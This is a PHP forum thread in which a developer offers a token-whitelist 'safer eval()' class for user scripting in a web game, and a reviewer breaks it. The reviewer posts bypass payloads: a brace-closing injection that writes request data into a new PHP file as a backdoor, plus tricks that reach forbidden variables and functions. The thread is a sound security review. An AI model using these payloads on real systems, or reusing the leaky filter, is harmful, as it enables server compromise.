The quest for safe eval() of user input
Moderator: General Moderators
The quest for safe eval() of user input
I'm trying to do a sort of web-game that requires simple to average user scripting. I figured the simplest and most powerful language would be a "lite" version of PHP. A lot of people are saying eval() can never be secured if you allow user input, but I think there's a limit to the number of ways you could hack it, and they can be stopped.
Here's my general plan for a code "securizer":
1) Transform the code from the user into PHP tokens.
2) Verify if all the tokens are in the pre-defined "secure tokens" list ("T_FOREACH", for example, would be a safe token).
3) Verify if all the "function name" tokens (T_STRING) are in the pre-defined "safe functions" list ("rand", for example, would be a safe function).
4) Verify if any of the variable names are in the "unsafe variables" list (eg "$_SESSION"), or alternatively, only allow certain variable names.
5) Deny the possibilty for dynamic function calling (eg. "$variable ();"
6) Deny the possiblity for dynamic variable names (eg. "$$something", where, let's say, "$something = '_SESSION';");
Points 1 - 4, are pretty much easily doable. What I'm not sure about are 5) and 6). What are all the forms of dynamic function or variable naming, and how could they be stopped? If anyone is interested in helping develop a safe eval() class, please post your suggestions.
Here's my general plan for a code "securizer":
1) Transform the code from the user into PHP tokens.
2) Verify if all the tokens are in the pre-defined "secure tokens" list ("T_FOREACH", for example, would be a safe token).
3) Verify if all the "function name" tokens (T_STRING) are in the pre-defined "safe functions" list ("rand", for example, would be a safe function).
4) Verify if any of the variable names are in the "unsafe variables" list (eg "$_SESSION"), or alternatively, only allow certain variable names.
5) Deny the possibilty for dynamic function calling (eg. "$variable ();"
6) Deny the possiblity for dynamic variable names (eg. "$$something", where, let's say, "$something = '_SESSION';");
Points 1 - 4, are pretty much easily doable. What I'm not sure about are 5) and 6). What are all the forms of dynamic function or variable naming, and how could they be stopped? If anyone is interested in helping develop a safe eval() class, please post your suggestions.
like feyd said, your best option (except redesign) would be to use sandboxed php interpreter, which is possible using runkit: http://ua2.php.net/manual/en/runkit.sandbox.php
- stereofrog
- Forum Contributor
- Posts: 386
- Joined: Mon Dec 04, 2006 6:10 am
1) I'd rather not reinvent the wheel, especially as there's nothing wrong with PHP's syntax.stereofrog wrote:Well, if you're going to parse your language in any case, why should this language be php? Define the syntax for the language and create a parser/executor for it using pear ParserGenerator or similar tool. Much cleaner than trying to fool the php interpreter.
2) I don't think I could recreate even 5% of the functionality offered by PHP (dozens of string functions, dozens of array functions more, mathematical functions, control structures, operators, etc.)
3) The users having to learn yet another language is just a disadvantage.
4) If this is a better solution then have others made safe "for the web" languages? I can't find anything worthy.
Thanks.
- Ambush Commander
- DevNet Master
- Posts: 3698
- Joined: Mon Oct 25, 2004 9:29 pm
- Location: New Jersey, US
Oh, I think you should reinvent the wheel. For what you're planning, a very simple scripting language should do the trick, and would make it a lot easier for users to interface with "actions" that actually make sense in the game's context. Note that this is by no means a small undertaking; to save yourself trouble you can probably use PHP's parsing capabilities to adopt the same syntax, but actual execution needs to be well thought out and done on your own.
- Kieran Huggins
- DevNet Master
- Posts: 3635
- Joined: Wed Dec 06, 2006 4:14 pm
- Location: Toronto, Canada
- Contact:
OK guys, check out the safer eval() class. Try to hack it, but please tell me if you do
.
I did, in 5 minutes, what do I winTry to hack it, but please tell me if you do
Your code produces lots and lots of warnings as well, do fix them, it's unprofessional.
The hole was too easy, I will now go and check the code further. I'll drop you a note when I'm done.
You get to make it harder for yourself to hack further versionsMordred wrote:I did, in 5 minutes, what do I win(not in your logs, don't bother checking)
Yeah, at some point in the future I will. For now I am concerned primarily about security, and I don't mind if users can see what's wrong with their code.Your code produces lots and lots of warnings as well, do fix them, it's unprofessional.
Thanks. This is only the first release, hopefully it can be further improved.The hole was too easy, I will now go and check the code further. I'll drop you a note when I'm done.
I was refering to warnings in your code, not the code that the user submits. When I switched to php5 there were fewer of them (apparently the tokenizer produces some different tokens), but they still persist.
There are also bugs in example.php, for example this:
Is not only the wrong thing to do, but it is also called in a wrong way, and on top of all that leads to a logical error later, if you try to eval something like
Furthermore, it doesn't add security by limiting the syntax of the submitted source code (which I understand is an unintentional side effect, not an intended security measure, but still worth mentioning), as it can be bypassed by passing data by other means (see below).
Now for the main course:
1. A trivial bypass vulnerability occurs in evalSyntax(), this is what's wrong:
The attacker will simply submit code that closes the curly brace, execute and then end with a balancing opening brace.
Here's a sample backdooring attack (which may not work, depending on how the server is setup)
This will work unregarding the $execute parameter in checkScript(). Not only are you calling eval() at all, but you're also calling it when the user said you shouldn't.
2. Bypass of var access restriction:
3. Bypass of function call restriction:
-------
I think this is a great thing to play with, but I strongly advise (as did all posters before me) against using it in a production environment. There are too many factors that may lead to compromise in some unobvious way -- all because you're running eval().
As for using this as an user-accessible scripting language for a web game, I think this is an overkill, and you should simplify that part of the design of the game in question.
There are also bugs in example.php, for example this:
Code: Select all
$code = htmlentities($_POST['code']);Code: Select all
if ($v>5) ...Now for the main course:
1. A trivial bypass vulnerability occurs in evalSyntax(), this is what's wrong:
Code: Select all
$code = eval('if(0){' . $code . '}'); // Put $code in a dead code sandbox to prevent its executionHere's a sample backdooring attack (which may not work, depending on how the server is setup)
Code: Select all
;}$fp=fopen('1.php','w');fputs($fp,$_GET['p']);{2. Bypass of var access restriction:
Code: Select all
$v='x';
$ {$v}='4'; //note the spaceCode: Select all
$v='print';
$v/**/(5);I think this is a great thing to play with, but I strongly advise (as did all posters before me) against using it in a production environment. There are too many factors that may lead to compromise in some unobvious way -- all because you're running eval().
As for using this as an user-accessible scripting language for a web game, I think this is an overkill, and you should simplify that part of the design of the game in question.
Thanks for the detailed analysis. I've made another quick release of Safer eval().
My bad, I implemented a third-party script without thinking of how it can be hacked. Now it shouldn't be possible to put a closing bracket unless you already opened one, but I think that eventually, syntax checking will be placed after the "legal function checking" step, to avoid the risk of executing harmful functions.1. A trivial bypass vulnerability occurs in evalSyntax(), this is what's wrong:
Oops, an older version actually disallowed "stand-alone" dollar tokens, but I had removed that protection. I've put it back in now, in a different form: nothing will be allowed after a dollar sign unless it's alphanumeric (or the underline character).2. Bypass of var access restriction:
Variable function names are a hard one to stop, because it's hard to determine if the opening parenthesis is for running a function, or something else. For this release, I've made comments illegal. Hope I'll find a better solution.3. Bypass of function call restriction:
Well, as much as this "safe" eval() limits PHP, I still can't find a better user-controlled scripting language that could be implemented neatly on the web. I think that this is, for now, a gap in the world of software.I think this is a great thing to play with, but I strongly advise (as did all posters before me) against using it in a production environment. There are too many factors that may lead to compromise in some unobvious way -- all because you're running eval().
As for using this as an user-accessible scripting language for a web game, I think this is an overkill, and you should simplify that part of the design of the game in question.
Too quick, I'm afraid, it's still not fixed. Nothing is fixed until it's tested! (Admit it, you didn't. Not a good way to write secure code, I'm afraid). The bug is funnyHory wrote:Thanks for the detailed analysis. I've made another quick release of Safer eval().:1. A trivial bypass vulnerability occurs in evalSyntax(), this is what's wrong:
Now that's a good policy!Hory wrote:My bad, I implemented a third-party script without thinking of how it can be hacked. Now it shouldn't be possible to put a closing bracket unless you already opened one, but I think that eventually, syntax checking will be placed after the "legal function checking" step, to avoid the risk of executing harmful functions.
I don't think regexp parsing is a good way to do the other checks though. Stick to the tokens if you must, but there's always the chance that you've missed something. The same applies to the huge list of tokens and functions -- I'm sure you haven't checked them all what they do.
Maybe you should define your problem domain first, and then expand the feature set one by one. Which brings me to my next point:
What gap? What is the purpose of this code? What problem does it solve? There are languages that are better suited for sandboxing, I'm sure, but even if PHP was the prime choice, you still have to explain to yourself why you want to do this.Hory wrote: Well, as much as this "safe" eval() limits PHP, I still can't find a better user-controlled scripting language that could be implemented neatly on the web. I think that this is, for now, a gap in the world of software.
Sure I did, even with the code you gave me, or something simpler like } echo 'xyz'; {, it should say "Syntax error".Mordred wrote:Too quick, I'm afraid, it's still not fixed. Nothing is fixed until it's tested! (Admit it, you didn't. Not a good way to write secure code, I'm afraid). The bug is funny
Actually I've checked all the tokens (there were a few which had no explanation, sure) and all the functions from the main/useful categories.Now that's a good policy!
I don't think regexp parsing is a good way to do the other checks though. Stick to the tokens if you must, but there's always the chance that you've missed something. The same applies to the huge list of tokens and functions -- I'm sure you haven't checked them all what they do.
Expanding the feature set starting from nothing? I want a better solution that writing my own parser and interpreter. And if there isn't one - that's why I'm saying there's a gap.Maybe you should define your problem domain first, and then expand the feature set one by one. Which brings me to my next point:
What gap?
The purpose is to allow simple and safe variable-focused user-controlled scripting in web applications (in this case - games). Even if I managed to find a web host with an interpreter for another language that would be more appropriate, that language would have its share of dangerous functions. In trying to restrict them, I'd be back to what I'm doing with PHP right now.What is the purpose of this code? What problem does it solve? There are languages that are better suited for sandboxing, I'm sure, but even if PHP was the prime choice, you still have to explain to yourself why you want to do this.
First, I must apologize if I sound too harsh or patronizing, I somehow believe people should read my mind, instead of the few words I actually wrote. 
Yes, it executes the script.
(Yes, after the ob_start() you shouldn't see anything. Try injecting a ob_end_clean() first)
I won't post POC code here, because it could directly damage your sf.net webspace, but you should be able to test it in your development environment.
There's a problem with one of the new if-s that's causing this.

Even if you do, you'll soon find that writing a parser for a simple language, specific to the tasks you want the users to control, will be both more simple and more secure. PHP has too many quirks in both its syntax and API. Here' s a test for you: I found that one of your allowed functions is not safe. Which one? In what way unsafe? Run a clock and see how long it takes you to find it. Now imagine a user of your script that wants to expand the allowed set -- how would he know what is safe? How long would it take to make sure, even if he has the expertise?
And now something that may offend you, but not intended as insult: I think that you need more time learning about security before starting writing security-related libraries. I personally wouldn't trust myself with such a library (I would maybe organize a team with wider experience or ask for peer reviews or something). I took the liberty of checking your other code, and it betrays that you're missing some basic knowledge. This is not to say that you should stop doing what you do! On the contrary, use it as a tool for your improvement -- read more articles on the basic vulnerabilities, read advisories and exploits to see what happens in the real world. Then go back and read your code
Cheers and good luck.
Yes, it says "Syntax error".Hory wrote:Sure I did, even with the code you gave me, or something simpler like } echo 'xyz'; {, it should say "Syntax error".Mordred wrote:Too quick, I'm afraid, it's still not fixed. Nothing is fixed until it's tested! (Admit it, you didn't. Not a good way to write secure code, I'm afraid). The bug is funny
Yes, it executes the script.
(Yes, after the ob_start() you shouldn't see anything. Try injecting a ob_end_clean() first)
I won't post POC code here, because it could directly damage your sf.net webspace, but you should be able to test it in your development environment.
There's a problem with one of the new if-s that's causing this.
To tell you the truth, there are some that I don't know what they do either. Does that mean you're sure they are safe? This means that you should disable them by default (until some script breaks), not just write a question mark next to themHory wrote:Actually I've checked all the tokens (there were a few which had no explanation, sure) and all the functions from the main/useful categories.Now that's a good policy!
I don't think regexp parsing is a good way to do the other checks though. Stick to the tokens if you must, but there's always the chance that you've missed something. The same applies to the huge list of tokens and functions -- I'm sure you haven't checked them all what they do.
You're missing the point. I think you should not need user-scripting for a game (or an app). Noone but a handful of geeks would be able to use it. And some of them will be better at security than you (and me).Hory wrote: Expanding the feature set starting from nothing? I want a better solution that writing my own parser and interpreter. And if there isn't one - that's why I'm saying there's a gap.
The purpose is to allow simple and safe variable-focused user-controlled scripting in web applications (in this case - games). Even if I managed to find a web host with an interpreter for another language that would be more appropriate, that language would have its share of dangerous functions. In trying to restrict them, I'd be back to what I'm doing with PHP right now.What is the purpose of this code? What problem does it solve? There are languages that are better suited for sandboxing, I'm sure, but even if PHP was the prime choice, you still have to explain to yourself why you want to do this.
Even if you do, you'll soon find that writing a parser for a simple language, specific to the tasks you want the users to control, will be both more simple and more secure. PHP has too many quirks in both its syntax and API. Here' s a test for you: I found that one of your allowed functions is not safe. Which one? In what way unsafe? Run a clock and see how long it takes you to find it. Now imagine a user of your script that wants to expand the allowed set -- how would he know what is safe? How long would it take to make sure, even if he has the expertise?
And now something that may offend you, but not intended as insult: I think that you need more time learning about security before starting writing security-related libraries. I personally wouldn't trust myself with such a library (I would maybe organize a team with wider experience or ask for peer reviews or something). I took the liberty of checking your other code, and it betrays that you're missing some basic knowledge. This is not to say that you should stop doing what you do! On the contrary, use it as a tool for your improvement -- read more articles on the basic vulnerabilities, read advisories and exploits to see what happens in the real world. Then go back and read your code
Cheers and good luck.